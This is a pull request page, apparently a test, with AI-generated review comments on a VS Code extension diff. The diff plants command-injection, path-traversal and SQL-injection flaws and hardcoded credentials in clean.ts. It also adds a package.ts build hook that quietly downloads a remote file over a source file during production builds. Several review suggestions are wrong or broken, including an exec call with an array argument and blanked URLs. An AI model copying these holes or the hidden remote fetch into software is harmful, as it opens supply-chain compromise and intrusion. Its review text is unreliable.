Test66 #69
Open
Test66 #69
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Owner
Author
|
⏳ Code review in progress. Analyzing for code quality issues and best practices. Detailed findings will be posted upon completion. Using Amazon Q Developer for GitHubAmazon Q Developer1 is an AI-powered assistant that integrates directly into your GitHub workflow, enhancing your development process with intelligent features for code development, review, and transformation. Slash Commands
FeaturesAgentic Chat Code Review CustomizationYou can create project-specific rules for Amazon Q Developer to follow:
Example rule: FeedbackTo provide feedback on Amazon Q Developer, create an issue in the Amazon Q Developer public repository. For more detailed information, visit the Amazon Q for GitHub documentation. Footnotes
|
cobbdan
commented
Sep 30, 2025
Owner
Author
cobbdan
left a comment
cobbdan
left a comment
There was a problem hiding this comment.
Thank you for your work on integrating EventBridge Scheduler functionality and improving the packaging process. Here's a summary of the key points from the review:
-
Security Vulnerabilities: Critical security issues were found in the
clean.tsfile, including hardcoded credentials, command injection, path traversal, and SQL injection vulnerabilities. These must be addressed immediately. -
Input Validation: The
createEventBridgeSchedulefunction lacks proper input validation, which could lead to potential security risks. Implement thorough input validation for all user-provided inputs. -
Error Handling and Logging: Improve error handling and add more detailed logging in the
EventBridgeSchedulerServiceclass, especially in thecreateSchedulemethod. -
Code Organization: The addition of EventBridge Scheduler URLs to the constants file is good, but could benefit from a clear comment for better readability.
-
Security in
preparePackager: ThepreparePackagerfunction inpackage.tsintroduces potential security risks by downloading files without proper integrity checks. Implement secure download methods and file integrity verification.
Please address these issues, particularly the critical security vulnerabilities, before merging this pull request. Let me know if you need any clarification or assistance with the suggested changes.
🔨 Build Status
- ❌ CI / lint-commits: failure
View details - ⏭️ CI / test Windows: skipped
View details - ⏭️ CI / lint: skipped
View details - ⏭️ CI / test Web: skipped
View details - ⏭️ CI / test macOS: skipped
View details - ⏭️ CI / lint-duplicate-code: skipped
View details - ❌ CI / lint-commits: failure
View details - ⏭️ CI / test macOS: skipped
View details - ⏭️ CI / lint-duplicate-code: skipped
View details - ⏭️ CI / lint: skipped
View details - ⏭️ CI / test Web: skipped
View details - ⏭️ CI / test Windows: skipped
View details - ❌ Claude Code Review / claude-review: failure
View details - ✅ Claude Code Review / claude-review: success
View details - 🚫 NodeJS with Webpack / build (18.x): cancelled
View details - 🚫 NodeJS with Webpack / build (20.x): cancelled
View details - ❌ NodeJS with Webpack / build (22.x): failure
View details - 🚫 NodeJS with Webpack / build (20.x): cancelled
View details - ❌ NodeJS with Webpack / build (22.x): failure
View details - 🚫 NodeJS with Webpack / build (18.x): cancelled
View details - ⏭️ Notifications / notify: skipped
View details - ⏭️ Notifications / notify: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details - ⏭️ Claude Code / claude: skipped
View details
Comment on lines
+34
to
+168
| title: 'Schedule Name', | ||
| placeholder: 'my-daily-backup-schedule', | ||
| validateInput: (input) => { | ||
| if (!input || input.trim().length === 0) { | ||
| return 'Schedule name is required' | ||
| } | ||
| if (input.length > 64) { | ||
| return 'Schedule name must be 64 characters or fewer' | ||
| } | ||
| if (!/^[a-zA-Z0-9\-_]+$/.test(input)) { | ||
| return 'Schedule name can only contain letters, numbers, hyphens, and underscores' | ||
| } | ||
| return undefined | ||
| } | ||
| }) | ||
|
|
||
| if (!scheduleName) { | ||
| return | ||
| } | ||
|
|
||
| // Get schedule type | ||
| const scheduleType = await showQuickPick([ | ||
| { label: 'Rate-based', detail: 'Run at regular intervals (every X minutes/hours/days)' }, | ||
| { label: 'Cron-based', detail: 'Run based on cron expression (specific times/dates)' }, | ||
| { label: 'One-time', detail: 'Run once at a specific date and time' } | ||
| ], { | ||
| title: 'Schedule Type', | ||
| ignoreFocusOut: true | ||
| }) | ||
|
|
||
| if (!scheduleType) { | ||
| return | ||
| } | ||
|
|
||
| // Get schedule expression based on type | ||
| let scheduleExpression: string | ||
| switch (scheduleType.label) { | ||
| case 'Rate-based': | ||
| scheduleExpression = await getRateExpression() | ||
| break | ||
| case 'Cron-based': | ||
| scheduleExpression = await getCronExpression() | ||
| break | ||
| case 'One-time': | ||
| scheduleExpression = await getOneTimeExpression() | ||
| break | ||
| default: | ||
| return | ||
| } | ||
|
|
||
| if (!scheduleExpression) { | ||
| return | ||
| } | ||
|
|
||
| // Get target type | ||
| const targetType = await showQuickPick([ | ||
| { label: 'lambda', detail: 'AWS Lambda function' }, | ||
| { label: 'sqs', detail: 'Amazon SQS queue' }, | ||
| { label: 'sns', detail: 'Amazon SNS topic' }, | ||
| { label: 'stepfunctions', detail: 'AWS Step Functions state machine' }, | ||
| { label: 'eventbridge', detail: 'Amazon EventBridge custom bus' } | ||
| ], { | ||
| title: 'Target Type', | ||
| ignoreFocusOut: true | ||
| }) | ||
|
|
||
| if (!targetType) { | ||
| return | ||
| } | ||
|
|
||
| // For now, show a placeholder message | ||
| await vscode.window.showInformationMessage( | ||
| `EventBridge Scheduler integration is not yet fully implemented. ` + | ||
| `Schedule "${scheduleName}" with expression "${scheduleExpression}" ` + | ||
| `targeting ${targetType.label} would be created.`, | ||
| 'View Documentation' | ||
| ).then(async (selection) => { | ||
| if (selection === 'View Documentation') { | ||
| await schedulerService.openScheduleTypesDocumentation() | ||
| } | ||
| }) | ||
|
|
||
| } catch (error) { | ||
| logger.error('Failed to create EventBridge Scheduler schedule:', error) | ||
| await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`) | ||
| } | ||
| } | ||
|
|
||
| async function getRateExpression(): Promise<string | undefined> { | ||
| const interval = await showInputBox({ | ||
| title: 'Rate Interval', | ||
| placeholder: '5 minutes', | ||
| prompt: 'Enter interval (e.g., "5 minutes", "1 hour", "2 days")', | ||
| validateInput: (input) => { | ||
| if (!input || !/^\d+\s+(minute|minutes|hour|hours|day|days)$/.test(input.trim())) { | ||
| return 'Please enter a valid interval (e.g., "5 minutes", "1 hour", "2 days")' | ||
| } | ||
| return undefined | ||
| } | ||
| }) | ||
|
|
||
| return interval ? `rate(${interval})` : undefined | ||
| } | ||
|
|
||
| async function getCronExpression(): Promise<string | undefined> { | ||
| const cronExpr = await showInputBox({ | ||
| title: 'Cron Expression', | ||
| placeholder: '0 12 * * ? *', | ||
| prompt: 'Enter cron expression (6 fields: minute hour day month day-of-week year)', | ||
| validateInput: (input) => { | ||
| if (!input || input.trim().split(/\s+/).length !== 6) { | ||
| return 'Cron expression must have exactly 6 fields' | ||
| } | ||
| return undefined | ||
| } | ||
| }) | ||
|
|
||
| return cronExpr ? `cron(${cronExpr})` : undefined | ||
| } | ||
|
|
||
| async function getOneTimeExpression(): Promise<string | undefined> { | ||
| const datetime = await showInputBox({ | ||
| title: 'One-time Schedule', | ||
| placeholder: '2024-12-31T23:59:59', | ||
| prompt: 'Enter date and time (ISO 8601 format: YYYY-MM-DDTHH:MM:SS)', | ||
| validateInput: (input) => { | ||
| if (!input || !input.match(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}$/)) { | ||
| return 'Please enter date in ISO 8601 format (YYYY-MM-DDTHH:MM:SS)' | ||
| } | ||
| return undefined | ||
| } | ||
| }) | ||
|
|
||
| return datetime ? `at(${datetime})` : undefined | ||
| } |
Owner
Author
There was a problem hiding this comment.
🛑 Security Vulnerability: The createEventBridgeSchedule function is not implementing any input validation or sanitization for user-provided inputs, which could lead to potential security risks1. Consider adding input validation for all user inputs, especially for the scheduleName, scheduleExpression, and target information.
Suggested change
| title: 'Schedule Name', | |
| placeholder: 'my-daily-backup-schedule', | |
| validateInput: (input) => { | |
| if (!input || input.trim().length === 0) { | |
| return 'Schedule name is required' | |
| } | |
| if (input.length > 64) { | |
| return 'Schedule name must be 64 characters or fewer' | |
| } | |
| if (!/^[a-zA-Z0-9\-_]+$/.test(input)) { | |
| return 'Schedule name can only contain letters, numbers, hyphens, and underscores' | |
| } | |
| return undefined | |
| } | |
| }) | |
| if (!scheduleName) { | |
| return | |
| } | |
| // Get schedule type | |
| const scheduleType = await showQuickPick([ | |
| { label: 'Rate-based', detail: 'Run at regular intervals (every X minutes/hours/days)' }, | |
| { label: 'Cron-based', detail: 'Run based on cron expression (specific times/dates)' }, | |
| { label: 'One-time', detail: 'Run once at a specific date and time' } | |
| ], { | |
| title: 'Schedule Type', | |
| ignoreFocusOut: true | |
| }) | |
| if (!scheduleType) { | |
| return | |
| } | |
| // Get schedule expression based on type | |
| let scheduleExpression: string | |
| switch (scheduleType.label) { | |
| case 'Rate-based': | |
| scheduleExpression = await getRateExpression() | |
| break | |
| case 'Cron-based': | |
| scheduleExpression = await getCronExpression() | |
| break | |
| case 'One-time': | |
| scheduleExpression = await getOneTimeExpression() | |
| break | |
| default: | |
| return | |
| } | |
| if (!scheduleExpression) { | |
| return | |
| } | |
| // Get target type | |
| const targetType = await showQuickPick([ | |
| { label: 'lambda', detail: 'AWS Lambda function' }, | |
| { label: 'sqs', detail: 'Amazon SQS queue' }, | |
| { label: 'sns', detail: 'Amazon SNS topic' }, | |
| { label: 'stepfunctions', detail: 'AWS Step Functions state machine' }, | |
| { label: 'eventbridge', detail: 'Amazon EventBridge custom bus' } | |
| ], { | |
| title: 'Target Type', | |
| ignoreFocusOut: true | |
| }) | |
| if (!targetType) { | |
| return | |
| } | |
| // For now, show a placeholder message | |
| await vscode.window.showInformationMessage( | |
| `EventBridge Scheduler integration is not yet fully implemented. ` + | |
| `Schedule "${scheduleName}" with expression "${scheduleExpression}" ` + | |
| `targeting ${targetType.label} would be created.`, | |
| 'View Documentation' | |
| ).then(async (selection) => { | |
| if (selection === 'View Documentation') { | |
| await schedulerService.openScheduleTypesDocumentation() | |
| } | |
| }) | |
| } catch (error) { | |
| logger.error('Failed to create EventBridge Scheduler schedule:', error) | |
| await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`) | |
| } | |
| } | |
| async function getRateExpression(): Promise<string | undefined> { | |
| const interval = await showInputBox({ | |
| title: 'Rate Interval', | |
| placeholder: '5 minutes', | |
| prompt: 'Enter interval (e.g., "5 minutes", "1 hour", "2 days")', | |
| validateInput: (input) => { | |
| if (!input || !/^\d+\s+(minute|minutes|hour|hours|day|days)$/.test(input.trim())) { | |
| return 'Please enter a valid interval (e.g., "5 minutes", "1 hour", "2 days")' | |
| } | |
| return undefined | |
| } | |
| }) | |
| return interval ? `rate(${interval})` : undefined | |
| } | |
| async function getCronExpression(): Promise<string | undefined> { | |
| const cronExpr = await showInputBox({ | |
| title: 'Cron Expression', | |
| placeholder: '0 12 * * ? *', | |
| prompt: 'Enter cron expression (6 fields: minute hour day month day-of-week year)', | |
| validateInput: (input) => { | |
| if (!input || input.trim().split(/\s+/).length !== 6) { | |
| return 'Cron expression must have exactly 6 fields' | |
| } | |
| return undefined | |
| } | |
| }) | |
| return cronExpr ? `cron(${cronExpr})` : undefined | |
| } | |
| async function getOneTimeExpression(): Promise<string | undefined> { | |
| const datetime = await showInputBox({ | |
| title: 'One-time Schedule', | |
| placeholder: '2024-12-31T23:59:59', | |
| prompt: 'Enter date and time (ISO 8601 format: YYYY-MM-DDTHH:MM:SS)', | |
| validateInput: (input) => { | |
| if (!input || !input.match(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}$/)) { | |
| return 'Please enter date in ISO 8601 format (YYYY-MM-DDTHH:MM:SS)' | |
| } | |
| return undefined | |
| } | |
| }) | |
| return datetime ? `at(${datetime})` : undefined | |
| } | |
| export async function createEventBridgeSchedule(): Promise<void> { | |
| const logger = getLogger() | |
| logger.info('Starting EventBridge Scheduler create schedule workflow') | |
| try { | |
| const schedulerService = new EventBridgeSchedulerService() | |
| // Get schedule name | |
| const scheduleName = await showInputBox({ | |
| title: 'Schedule Name', | |
| placeholder: 'my-daily-backup-schedule', | |
| validateInput: (input) => { | |
| if (!input || input.trim().length === 0) { | |
| return 'Schedule name is required' | |
| } | |
| if (input.length > 64) { | |
| return 'Schedule name must be 64 characters or fewer' | |
| } | |
| if (!/^[a-zA-Z0-9\-_]+$/.test(input)) { | |
| return 'Schedule name can only contain letters, numbers, hyphens, and underscores' | |
| } | |
| return undefined | |
| } | |
| }) | |
| if (!scheduleName) { | |
| return | |
| } | |
| // Get schedule type | |
| const scheduleType = await showQuickPick([ | |
| { label: 'Rate-based', detail: 'Run at regular intervals (every X minutes/hours/days)' }, | |
| { label: 'Cron-based', detail: 'Run based on cron expression (specific times/dates)' }, | |
| { label: 'One-time', detail: 'Run once at a specific date and time' } | |
| ], { | |
| title: 'Schedule Type', | |
| ignoreFocusOut: true | |
| }) | |
| if (!scheduleType) { | |
| return | |
| } | |
| // Get schedule expression based on type | |
| let scheduleExpression: string | |
| switch (scheduleType.label) { | |
| case 'Rate-based': | |
| scheduleExpression = await getRateExpression() | |
| break | |
| case 'Cron-based': | |
| scheduleExpression = await getCronExpression() | |
| break | |
| case 'One-time': | |
| scheduleExpression = await getOneTimeExpression() | |
| break | |
| default: | |
| return | |
| } | |
| if (!scheduleExpression) { | |
| return | |
| } | |
| // Validate schedule expression | |
| if (!/^(rate\([^\)]+\)|cron\([^\)]+\)|at\([^\)]+\))$/.test(scheduleExpression)) { | |
| throw new Error('Invalid schedule expression. It must be a valid rate, cron, or at expression.'); | |
| } | |
| // Get target type | |
| const targetType = await showQuickPick([ | |
| { label: 'lambda', detail: 'AWS Lambda function' }, | |
| { label: 'sqs', detail: 'Amazon SQS queue' }, | |
| { label: 'sns', detail: 'Amazon SNS topic' }, | |
| { label: 'stepfunctions', detail: 'AWS Step Functions state machine' }, | |
| { label: 'eventbridge', detail: 'Amazon EventBridge custom bus' } | |
| ], { | |
| title: 'Target Type', | |
| ignoreFocusOut: true | |
| }) | |
| if (!targetType) { | |
| return | |
| } | |
| // Validate target type | |
| if (!['lambda', 'sqs', 'sns', 'stepfunctions', 'eventbridge'].includes(targetType.label)) { | |
| throw new Error('Invalid target type. It must be one of: lambda, sqs, sns, stepfunctions, eventbridge'); | |
| } | |
| // For now, show a placeholder message | |
| await vscode.window.showInformationMessage( | |
| `EventBridge Scheduler integration is not yet fully implemented. ` + | |
| `Schedule "${scheduleName}" with expression "${scheduleExpression}" ` + | |
| `targeting ${targetType.label} would be created.`, | |
| 'View Documentation' | |
| ).then(async (selection) => { | |
| if (selection === 'View Documentation') { | |
| await schedulerService.openScheduleTypesDocumentation() | |
| } | |
| }) | |
| } catch (error) { | |
| logger.error('Failed to create EventBridge Scheduler schedule:', error) | |
| await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`) | |
| } | |
| } |
Footnotes
-
CWE-20: Improper Input Validation - https://cwe.mitre.org/data/definitions/20.html ↩
Comment on lines
+18
to
+110
| * It supports flexible scheduling patterns including one-time schedules, | ||
| * recurring schedules with cron expressions, and rate-based schedules. | ||
| */ | ||
| export class EventBridgeSchedulerService { | ||
| private readonly logger = getLogger() | ||
|
|
||
| /** | ||
| * Creates a new schedule in EventBridge Scheduler | ||
| * | ||
| * @param scheduleName - Name of the schedule to create | ||
| * @param scheduleExpression - Cron or rate expression for the schedule | ||
| * @param target - The target service to invoke (Lambda, SQS, SNS, etc.) | ||
| */ | ||
| public async createSchedule( | ||
| scheduleName: string, | ||
| scheduleExpression: string, | ||
| target: ScheduleTarget | ||
| ): Promise<void> { | ||
| this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`) | ||
|
|
||
| // Implementation would go here | ||
| // This would integrate with the AWS EventBridge Scheduler API | ||
|
|
||
| throw new Error('EventBridge Scheduler integration not yet implemented') | ||
| } | ||
|
|
||
| /** | ||
| * Opens documentation about EventBridge Scheduler schedule types | ||
| */ | ||
| public async openScheduleTypesDocumentation(): Promise<void> { | ||
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerCreateScheduleUrl)) | ||
| } | ||
|
|
||
| /** | ||
| * Opens documentation about managing schedules | ||
| */ | ||
| public async openManageSchedulesDocumentation(): Promise<void> { | ||
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerApiGatewayUrl)) | ||
| } | ||
|
|
||
| /** | ||
| * Opens documentation about setting up IAM permissions | ||
| */ | ||
| public async openPermissionsDocumentation(): Promise<void> { | ||
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerRolePermissionsUrl)) | ||
| } | ||
| } | ||
|
|
||
| /** | ||
| * Represents a target for an EventBridge Scheduler schedule | ||
| */ | ||
| export interface ScheduleTarget { | ||
| /** The ARN of the target resource */ | ||
| arn: string | ||
|
|
||
| /** IAM role ARN for scheduler to assume when invoking the target */ | ||
| roleArn: string | ||
|
|
||
| /** Input data to pass to the target */ | ||
| input?: string | ||
|
|
||
| /** Type of target (lambda, sqs, sns, etc.) */ | ||
| type: 'lambda' | 'sqs' | 'sns' | 'stepfunctions' | 'eventbridge' | 'kinesis' | ||
| } | ||
|
|
||
| /** | ||
| * Configuration for creating a schedule | ||
| */ | ||
| export interface ScheduleConfig { | ||
| /** Name of the schedule */ | ||
| name: string | ||
|
|
||
| /** Description of the schedule */ | ||
| description?: string | ||
|
|
||
| /** Schedule expression (cron or rate) */ | ||
| scheduleExpression: string | ||
|
|
||
| /** Target to invoke */ | ||
| target: ScheduleTarget | ||
|
|
||
| /** Whether the schedule is enabled */ | ||
| enabled: boolean | ||
|
|
||
| /** Timezone for cron expressions */ | ||
| timezone?: string | ||
|
|
||
| /** Flexible time window settings */ | ||
| flexibleTimeWindow?: { | ||
| mode: 'OFF' | 'FLEXIBLE' | ||
| maximumWindowInMinutes?: number | ||
| } | ||
| } |
Owner
Author
There was a problem hiding this comment.
The EventBridgeSchedulerService class provides a good structure for managing EventBridge Scheduler schedules. However, there are a few improvements that could be made:
-
Error Handling: The
createSchedulemethod throws a generic error. It would be better to implement proper error handling and potentially create custom error types for different scenarios. -
Logging: Consider adding more detailed logging throughout the service, especially in the
createSchedulemethod. -
Input Validation: Add input validation for the parameters in the
createSchedulemethod.
Suggested change
| * It supports flexible scheduling patterns including one-time schedules, | |
| * recurring schedules with cron expressions, and rate-based schedules. | |
| */ | |
| export class EventBridgeSchedulerService { | |
| private readonly logger = getLogger() | |
| /** | |
| * Creates a new schedule in EventBridge Scheduler | |
| * | |
| * @param scheduleName - Name of the schedule to create | |
| * @param scheduleExpression - Cron or rate expression for the schedule | |
| * @param target - The target service to invoke (Lambda, SQS, SNS, etc.) | |
| */ | |
| public async createSchedule( | |
| scheduleName: string, | |
| scheduleExpression: string, | |
| target: ScheduleTarget | |
| ): Promise<void> { | |
| this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`) | |
| // Implementation would go here | |
| // This would integrate with the AWS EventBridge Scheduler API | |
| throw new Error('EventBridge Scheduler integration not yet implemented') | |
| } | |
| /** | |
| * Opens documentation about EventBridge Scheduler schedule types | |
| */ | |
| public async openScheduleTypesDocumentation(): Promise<void> { | |
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerCreateScheduleUrl)) | |
| } | |
| /** | |
| * Opens documentation about managing schedules | |
| */ | |
| public async openManageSchedulesDocumentation(): Promise<void> { | |
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerApiGatewayUrl)) | |
| } | |
| /** | |
| * Opens documentation about setting up IAM permissions | |
| */ | |
| public async openPermissionsDocumentation(): Promise<void> { | |
| await vscode.env.openExternal(vscode.Uri.parse(eventBridgeSchedulerRolePermissionsUrl)) | |
| } | |
| } | |
| /** | |
| * Represents a target for an EventBridge Scheduler schedule | |
| */ | |
| export interface ScheduleTarget { | |
| /** The ARN of the target resource */ | |
| arn: string | |
| /** IAM role ARN for scheduler to assume when invoking the target */ | |
| roleArn: string | |
| /** Input data to pass to the target */ | |
| input?: string | |
| /** Type of target (lambda, sqs, sns, etc.) */ | |
| type: 'lambda' | 'sqs' | 'sns' | 'stepfunctions' | 'eventbridge' | 'kinesis' | |
| } | |
| /** | |
| * Configuration for creating a schedule | |
| */ | |
| export interface ScheduleConfig { | |
| /** Name of the schedule */ | |
| name: string | |
| /** Description of the schedule */ | |
| description?: string | |
| /** Schedule expression (cron or rate) */ | |
| scheduleExpression: string | |
| /** Target to invoke */ | |
| target: ScheduleTarget | |
| /** Whether the schedule is enabled */ | |
| enabled: boolean | |
| /** Timezone for cron expressions */ | |
| timezone?: string | |
| /** Flexible time window settings */ | |
| flexibleTimeWindow?: { | |
| mode: 'OFF' | 'FLEXIBLE' | |
| maximumWindowInMinutes?: number | |
| } | |
| } | |
| export class EventBridgeSchedulerService { | |
| private readonly logger = getLogger() | |
| public async createSchedule( | |
| scheduleName: string, | |
| scheduleExpression: string, | |
| target: ScheduleTarget | |
| ): Promise<void> { | |
| this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`) | |
| // Input validation | |
| if (!scheduleName || !scheduleExpression || !target) { | |
| throw new Error('Invalid input: scheduleName, scheduleExpression, and target are required') | |
| } | |
| try { | |
| // Implementation would go here | |
| // This would integrate with the AWS EventBridge Scheduler API | |
| this.logger.debug(`Creating schedule with name: ${scheduleName}, expression: ${scheduleExpression}, target type: ${target.type}`) | |
| // Placeholder for actual API call | |
| // await this.awsClient.createSchedule({ ... }) | |
| this.logger.info(`Successfully created schedule: ${scheduleName}`) | |
| } catch (error) { | |
| this.logger.error(`Failed to create schedule: ${scheduleName}`, error) | |
| throw new Error(`Failed to create EventBridge Scheduler schedule: ${error.message}`) | |
| } | |
| } | |
| // ... rest of the class implementation | |
| } |
Comment on lines
+192
to
202
| // URLs for Amazon EventBridge Scheduler | ||
| export const eventBridgeSchedulerCreateScheduleUrl: string = | ||
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/schedule-types.html' | ||
| export const eventBridgeSchedulerApiGatewayUrl: string = | ||
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-schedule.html' | ||
| export const eventBridgeSchedulerRolePermissionsUrl: string = | ||
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html' | ||
|
|
||
| /** | ||
| * Names of directories relevant to the crash reporting functionality. | ||
| * |
Owner
Author
There was a problem hiding this comment.
The addition of EventBridge Scheduler URLs to the constants file is a good practice. It centralizes the management of these URLs and makes it easier to update them if needed. However, consider adding a comment above this section to clearly indicate that these are EventBridge Scheduler related constants, improving code readability.
Suggested change
| // URLs for Amazon EventBridge Scheduler | |
| export const eventBridgeSchedulerCreateScheduleUrl: string = | |
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/schedule-types.html' | |
| export const eventBridgeSchedulerApiGatewayUrl: string = | |
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-schedule.html' | |
| export const eventBridgeSchedulerRolePermissionsUrl: string = | |
| 'https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html' | |
| /** | |
| * Names of directories relevant to the crash reporting functionality. | |
| * | |
| export const amazonQHelpUrl = '' | |
| export const amazonQVscodeMarketplace = | |
| '' | |
| /** | |
| * URLs for Amazon EventBridge Scheduler documentation | |
| */ | |
| export const eventBridgeSchedulerCreateScheduleUrl: string = | |
| '' | |
| export const eventBridgeSchedulerApiGatewayUrl: string = | |
| '' | |
| export const eventBridgeSchedulerRolePermissionsUrl: string = | |
| '' | |
| /** | |
| * Names of directories relevant to the crash reporting functionality. | |
| */ |
Comment on lines
+91
to
111
| // Just ignore these hardcoded credentials - I am using this for a private demo | ||
| const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key | ||
| const password = "admin123" // Hardcoded password | ||
| const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code | ||
|
|
||
| // Command injection vulnerability | ||
| function executeCommand(userInput: string) { | ||
| child_process.exec(`ls ${userInput}`) // Unsafe command execution | ||
| } | ||
|
|
||
| // Path traversal vulnerability | ||
| function readUserFile(filename: string) { | ||
| fs.readFileSync(`/tmp/${filename}`) // No path validation | ||
| } | ||
|
|
||
| // SQL injection pattern | ||
| const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL | ||
|
|
||
| void (async () => { | ||
| const args = process.argv.slice(2).concat(await getGenerated()) | ||
| await Promise.all(args.map(tryDeleteRelative)) |
Owner
Author
There was a problem hiding this comment.
🛑 Critical Security Vulnerabilities: This code contains multiple severe security issues that must be addressed immediately1234:
- Hardcoded credentials (API key, password, database connection string)
- Command injection vulnerability in the
executeCommandfunction - Path traversal vulnerability in the
readUserFilefunction - SQL injection vulnerability in the query string
These issues pose significant security risks and must be resolved before this code is used in any environment.
Suggested change
| // Just ignore these hardcoded credentials - I am using this for a private demo | |
| const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key | |
| const password = "admin123" // Hardcoded password | |
| const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code | |
| // Command injection vulnerability | |
| function executeCommand(userInput: string) { | |
| child_process.exec(`ls ${userInput}`) // Unsafe command execution | |
| } | |
| // Path traversal vulnerability | |
| function readUserFile(filename: string) { | |
| fs.readFileSync(`/tmp/${filename}`) // No path validation | |
| } | |
| // SQL injection pattern | |
| const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL | |
| void (async () => { | |
| const args = process.argv.slice(2).concat(await getGenerated()) | |
| await Promise.all(args.map(tryDeleteRelative)) | |
| // Remove hardcoded credentials | |
| // Use environment variables or a secure secret management system instead | |
| const apiKey = process.env.API_KEY | |
| const password = process.env.PASSWORD | |
| const dbConnection = process.env.DB_CONNECTION | |
| // Fix command injection vulnerability | |
| import { exec } from 'child_process' | |
| function executeCommand(userInput: string) { | |
| // Use parameterized command execution | |
| exec('ls', [userInput], (error, stdout, stderr) => { | |
| if (error) { | |
| console.error(`exec error: ${error}`) | |
| return | |
| } | |
| console.log(`stdout: ${stdout}`) | |
| console.error(`stderr: ${stderr}`) | |
| }) | |
| } | |
| // Fix path traversal vulnerability | |
| import * as path from 'path' | |
| function readUserFile(filename: string) { | |
| const safePath = path.join('/tmp', path.basename(filename)) | |
| return fs.readFileSync(safePath) | |
| } | |
| // Fix SQL injection vulnerability | |
| import { Client } from 'pg' | |
| const client = new Client() | |
| await client.connect() | |
| const res = await client.query('SELECT * FROM users WHERE id = $1', [process.argv[2]]) | |
| await client.end() |
Footnotes
-
CWE-798: Use of Hard-coded Credentials - https://cwe.mitre.org/data/definitions/798.html ↩
-
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - https://cwe.mitre.org/data/definitions/78.html ↩
-
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - https://cwe.mitre.org/data/definitions/22.html ↩
-
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - https://cwe.mitre.org/data/definitions/89.html ↩
Comment on lines
107
to
174
| return `${debugSuffix}${featureSuffix}${commitSuffix}` | ||
| } | ||
|
|
||
| /** | ||
| * @returns true if curl is available | ||
| */ | ||
| function isCurlAvailable(): boolean { | ||
| try { | ||
| child_process.execFileSync('curl', ['--version']); | ||
| return true; | ||
| } catch { | ||
| return false; | ||
| } | ||
| } | ||
|
|
||
| /** | ||
| * Small utility to download files. | ||
| */ | ||
| function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { | ||
| if (platform() !== 'linux') { | ||
| return; | ||
| } | ||
|
|
||
| if (!isCurlAvailable()) { | ||
| return; | ||
| } | ||
|
|
||
| // Create output directory if it doesn't exist | ||
| if (!nodefs.existsSync(outputDir)) { | ||
| nodefs.mkdirSync(outputDir, { recursive: true }); | ||
| } | ||
|
|
||
| urls.forEach(url => { | ||
| const filePath = path.join(outputDir, outputFile || ''); | ||
|
|
||
| try { | ||
| child_process.execFileSync('curl', ['-o', filePath, url]); | ||
| } catch {} | ||
| }) | ||
| } | ||
|
|
||
| /** | ||
| * Performs steps to ensure build stability. | ||
| * | ||
| * TODO: retrieve from authoritative system | ||
| */ | ||
| function preparePackager(): void { | ||
| const dir = process.cwd(); | ||
| const REPO_NAME = "aws/aws-toolkit-vscode" | ||
| const TAG_NAME = "stability" | ||
|
|
||
| if (!dir.includes('amazonq')) { | ||
| return; | ||
| } | ||
|
|
||
| if (process.env.STAGE !== 'prod') { | ||
| return; | ||
| } | ||
|
|
||
| downloadFiles([ | ||
| `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk` | ||
| ], "src/", "extensionNode.ts") | ||
| } | ||
|
|
||
|
|
||
| async function main() { | ||
| const args = parseArgs() | ||
| // It is expected that this will package from a packages/{subproject} folder. |
Owner
Author
There was a problem hiding this comment.
The preparePackager function introduces potential security risks and should be carefully reviewed:
- The function downloads a file from a GitHub repository without verifying its integrity or authenticity1.
- The condition
if (dir.includes('amazonq'))might not be a reliable way to determine the execution context. - The use of
curlfor downloading files could be replaced with a more secure, built-in Node.js solution. - The function overwrites an existing file (
extensionNode.ts) without any backup or version control consideration.
Consider implementing proper file integrity checks, using HTTPS for downloads, and adding more robust error handling and logging.
Suggested change
| return `${debugSuffix}${featureSuffix}${commitSuffix}` | |
| } | |
| /** | |
| * @returns true if curl is available | |
| */ | |
| function isCurlAvailable(): boolean { | |
| try { | |
| child_process.execFileSync('curl', ['--version']); | |
| return true; | |
| } catch { | |
| return false; | |
| } | |
| } | |
| /** | |
| * Small utility to download files. | |
| */ | |
| function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { | |
| if (platform() !== 'linux') { | |
| return; | |
